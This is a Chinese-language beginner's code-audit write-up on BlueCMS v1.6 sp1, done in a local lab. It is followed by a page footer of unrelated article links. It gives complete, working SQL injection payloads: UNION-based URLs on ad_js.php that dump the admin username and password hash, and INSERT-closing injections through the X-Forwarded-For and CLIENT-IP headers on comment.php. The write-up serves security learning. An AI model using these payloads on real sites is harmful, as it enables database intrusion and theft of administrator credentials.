代码审计入门之BlueCMS v1.6 sp1
0x00 前言
作为一名代码审计的新手,网上的大佬们说代码审计入门的话BlueCMS比较好,所以我就拿BlueCMS练练。(本人实在是一枚新手,请大佬们多多赐教)
0x01 环境准备
Phpstudy BlueCMS v1.6 sp1源码 代码审计工具(Seay源代码审计系统)
0x02 审计过程
拿到一个CMS,有诸多审计方法,我这里的审计方法是黑盒+白盒测试,偏黑盒较多的代码审计。拿到代码后我们应该先对其进行功能点的分析,看一看该CMS存在哪些功能,因为我们寻找漏洞,肯定是从网站中的正常功能进行测试,这是黑盒测试的一个方法,挖掘漏洞的核心我认为在于传参,知道每个传参的意义是不是就等于知道了代码会做什么,要做什么呢?
由于本人实力真的有限,只能参考网上流传最广的两个注入进行演示
直接开门见山吧
1. 注入一
用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:ad_js.php
选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:
getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)
主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:
利用:
先查看有多少字段:
http://127.0.0.1/ad_js.php?ad_id=1 order by 7
当order by 8时报错
所以字段数为8
接着来看数据库名:
我们先来看回显在哪
http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7
这里注意:我们需要在源代码中查看
第7个字段的位置出现了回显
来查看一下当前数据库
http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
然后爆表名:
http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
表名真的太多,我们这里主要来玩blue_admin这张表
爆列名:
http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
这里需要将表名转换为16进制
获取用户名密码:
http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
是用MD5值,其值为admin:
2. 注入二
再查看Seay发现的可疑注入点,在文件/include/common.fun.php中:
$ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)
$ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;
全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:
我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)
我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。
我们来看一下文章发布部分
从上面的页面(/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:
首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:
而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:
我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。
好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)
回到主页:
查看下我们刚发布的文章,如下所示:
利用:
我们回看下那段SQL语句:
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。
X-Forwarded-For
X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99
在POST数据包头部添加X-Forwarded-For字段,内容如上:
通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)
CLIENT-IP
通过CLIENT-IP构造如下:
CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1
POST数据包:
可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)
本人能力实在有限,先探索到这儿
参考:https://www.cnblogs.com/Hi-blog/p/7990894.html#_label20
代码审计入门之BlueCMS v1.6 sp1的更多相关文章
- [php代码审计]bluecms v1.6 sp1
一.环境搭建 bluecms v1.6 sp1源码 windows 7 phpstudy2016(php 5.4.45) seay源代码审计系统 源码在网上很容易下载,很多教程说访问地址 http:/ ...
- bluecms v1.6 sp1 代码审计学习
前言 正式开始代码审计的学习,拓宽自己的知识面.代码审计学习的动力也是来自团队里的王叹之师傅,向王叹之师傅学习. 这里参考了一些前辈,师傅的复现经验和bluecms审计的心得 安装 install.p ...
- bluecms v1.6 代码审计
0x01 使用seay源代码审计系统进行审计 扫描到了很多个可疑漏洞,不过工具都有一定的误报,下面我们就逐个进行验证 0x02 /ad_js.php SQL注入漏洞 查看源码,我们发现程序通过GET方 ...
- Java代码审计入门篇
作者:i春秋核心白帽yanzmi 原文来自:https://bbs.ichunqiu.com/thread-42149-1-1.html 本期斗哥带来Java代码审计的一些环境和工具准备. Java这 ...
- Kubernetes入门(一)——Kubernetes v1.18.5 安装部署
Kubernetes的安装有两种方式:一是使用各个厂商封装的Kubernetes发行版,优点是可以一键安装部署,操作简单,缺点也很明显,若安装过程中某一步骤出现问题,很难定位处理:二是使用官方提供的k ...
- 一个CMS案例实战讲解PHP代码审计入门
前言 php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞. 1.环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建 审计环境 window ...
- [php审计实战篇]BlueCms v1.6 Union注入
非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...
- PHP代码审计入门(敏感函数回溯参数过程)
最近开始啃<代码审计企业级web代码安全架构>这本书,这一章内容看了2天很多内容都理解最主要的是对PHP不熟练所以现在理解了大概 然后进行实地环境搭建最主要的是源码百度真不好找 最后找到一 ...
- php代码审计入门前必看
首先先介绍什么是代码审计? 代码审计:是指针对源代码进行检查,寻找代码中的bug,这是一项需要多方面技能的技术 包括:对编程的掌握,漏洞形成原理的理解,系统和中间件等的熟悉 2.为什么要进行代码审计, ...
随机推荐
- Flutter 2.8 更新详解
北半球的冬意已至,黄叶与气温均随风而落.年终的最后一个 Flutter 稳定版本 已悄然来到你的面前.让我们向 Flutter 2.8 打声招呼- 本次更新包含了 207 位贡献者和 178 位审核者 ...
- java 多线程Thread 子类 定时器Timer
定时器Timer, 定时器分类: 1,指定时间指定任务(明天早上8点准时提醒我起床),相当于linux里面的at命令 2,周期性的执行任务(每隔三分钟闹钟响一次),相当于Linux里面的cron命令 ...
- java 数据类型:ArrayList;LinkList性能分析
各种线性表的性能分析. java提供的List就是一个线性表接口,ArrayList和LinkedList是线性表的两种实现.基于数组的线性表和基于链表的线性表. 一般来说,我们无需理会ArrayLi ...
- div中出现滚动条,自动保持在最底端---显示聊天窗口最新的信息
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...
- Log4j未平,Logback 又起!再爆漏洞?
前段时间 Log4j接连爆漏洞的事儿相比把大家都折腾的不轻,很多开发都被连夜叫起来修复漏洞.这几天终于平复一些了. 可是,昨晚,忽然看到技术群和朋友圈,有人开始聊Logback 又爆漏洞了. 这是什么 ...
- 聊一聊Yarp结合Nacos完成服务发现
背景 Yarp 这个反向代理出来后,相信还是有不少人在关注的. 在 Yarp 中,反向代理的配置默认也是基于配置文件的,也有不少大佬已经把这个配置做成了数据库配置+可视化界面. 仔细想了想,做成数据库 ...
- 【九度OJ】题目1012:畅通工程 解题报告
[九度OJ]题目1012:畅通工程 解题报告 标签(空格分隔): 九度OJ 原题地址:http://ac.jobdu.com/problem.php?pid=1012 题目描述: 某省调查城镇交通状况 ...
- 【LeetCode】365. Water and Jug Problem 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 数学题 相似题目 参考资料 日期 题目地址:http ...
- 【LeetCode】216. Combination Sum III 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述: 题目大意 解题方法 方法一:DFS 方法二:回溯法 日期 题目地址:h ...
- 【LeetCode】526. Beautiful Arrangement 解题报告(Python & C++)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...